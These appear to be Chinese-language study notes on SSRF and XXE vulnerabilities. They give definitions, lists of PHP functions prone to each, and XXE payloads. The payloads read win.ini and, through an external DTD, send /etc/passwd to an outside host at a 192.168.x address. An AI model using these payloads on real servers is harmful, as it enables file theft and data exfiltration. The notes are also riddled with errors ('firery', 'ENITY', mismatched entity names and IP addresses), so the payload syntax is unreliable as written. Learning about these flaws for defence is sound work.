SSRF
SSRF(server-site request firery,服务端请求伪造) 是一种构造请求,由服务端发起请求的安全漏洞。与CSRF不同的是发起请求的对象不同。
成因:服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤与限制。
产生ssrf漏洞的函数
- file_get_content()
- fsockopen()
- curl_exec()
XXE
XML DTD
DTD声明类型
内部声明
外部声明
DTD数据类型:PCDATA:被解析的字符数据
CDATA:不会被解析的文本
DTD实体
内部实体
外部实体
XML注入原理(XXE)
应用解析XML输入时,没有禁止外部实体的加载,导致可加载的恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站,发起DOS攻击等危害。
触发点往往是可以上传XML文档的位置。
- file_get_contents()
- php://input
- simplexml_load_string
payload(回显 )
<?xml version='1.0' encoding="utf-8">
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root>
<name>&xxe;</name>
</root>
请求xml
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.1.103/test.dtd">
<foo>&e1;</foo>
test.dtd
<!ENTITY %p1 SYSTEM "file:///etc/passwd">
<!ENTITY %p2 "<!ENTITY E1 system 'http://192.168.103/test.php?con=%p1;'>">
%p2;